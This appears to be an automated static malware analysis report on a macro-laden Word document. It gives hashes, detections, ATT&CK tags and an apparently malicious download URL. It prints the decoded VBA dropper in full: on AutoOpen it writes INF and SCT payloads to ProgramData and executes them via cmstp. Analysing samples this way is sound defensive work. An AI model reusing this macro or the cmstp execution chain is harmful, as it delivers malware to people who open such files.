Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0ea01c606bf55af8…

MALICIOUS

Office (OOXML)

59.4 KB Created: 2020-03-03 08:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-10
MD5: 794a018b3b923acee80732373b2f70cf SHA-1: eeb7750aaa066fdc7c62fd8b159df71c8459dce7 SHA-256: 0ea01c606bf55af82ada5d0fc545a4e561bc7fd8d5c92f8a26938a1161201bf5
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that executes a Shell() command. This command uses 'cmstp.exe' to execute a downloaded INF file from 'C:\ProgramData\avsLa.inf', which was likely written by the macro itself. The macro also writes a second file, 'C:\ProgramData\aGY3fk.sct', to disk, which is likely a script payload. This indicates a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.AllBlue00-7730449-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.AllBlue00-7730449-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sleep 3000
    aKDxW = Shell("cmstp /ni /s C:\ProgramData\avsLa.inf")
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set aW2Q9 = frm.TextBox3
    Set objWord = CreateObject("Word.Application")
    ' Pertinacity car textbooks concluded
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "acvQgp"
    Sub AutoOpen()
    main
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://harlmnuq9zgox.com/nra962sc0/ft2dol9oy.php?l=cav9.cab In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2086 bytes
SHA-256: ac59fc66d1727a3dd7c576f71fd3517c5eb275bd1cb2fe3b3cfe74120f15be96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "acvQgp"
Sub AutoOpen()
main
End Sub

Attribute VB_Name = "aTpXs"
'Private const aeqwL As String = "ridniw"
Public Function aMdmAW(aUFrv7, aQfvLo)
' Vacuum horseshoe
' Issues cbs strasburg
' Decadent invoice ratify
' Frog vanquish sinew
' Instrumentation reed
' Art smoking talk
' Pounce closure metres
Open aUFrv7 For Output As #1
Print #1, aQfvLo
Close #1
End Function

Attribute VB_Name = "a4RGS"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If
Sub main()
' Diverse
' Barn amy stitch
' Impressed mint excuse vas
' Administered winder justin sagacious evan crab
' Acrimony
' Officious maria confuse
Dim aXpatM
Set aXpatM = frm.TextBox1
Dim aqRwF
Set aqRwF = frm.TextBox2
Dim aW2Q9
Set aW2Q9 = frm.TextBox3
Set objWord = CreateObject("Word.Application")
' Pertinacity car textbooks concluded
With objWord
.Visible = False
.Application.DisplayAlerts = False
.Documents.Add
.Selection.TypeText aW2Q9.value
.Selection.WholeStory
.Selection.Copy
' Visionary ips brands
' Tulsa unacceptable akimbo sock
End With
' Stroke emotional adorer elated abduction
' Yes license newer pottery
aMdmAW "C:\ProgramData\avsLa.inf", aXpatM.value
aMdmAW "C:\ProgramData\aGY3fk.sct", aqRwF.value
Sleep 3000
aKDxW = Shell("cmstp /ni /s C:\ProgramData\avsLa.inf")
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{21082C41-3666-4556-B210-0F12A69517DB}{CB1232E8-8037-4912-99BA-3C8717378371}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: 31a2973b4e6107119d3ff616179313210b72c44455f54e8a846ca27cc28692cc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).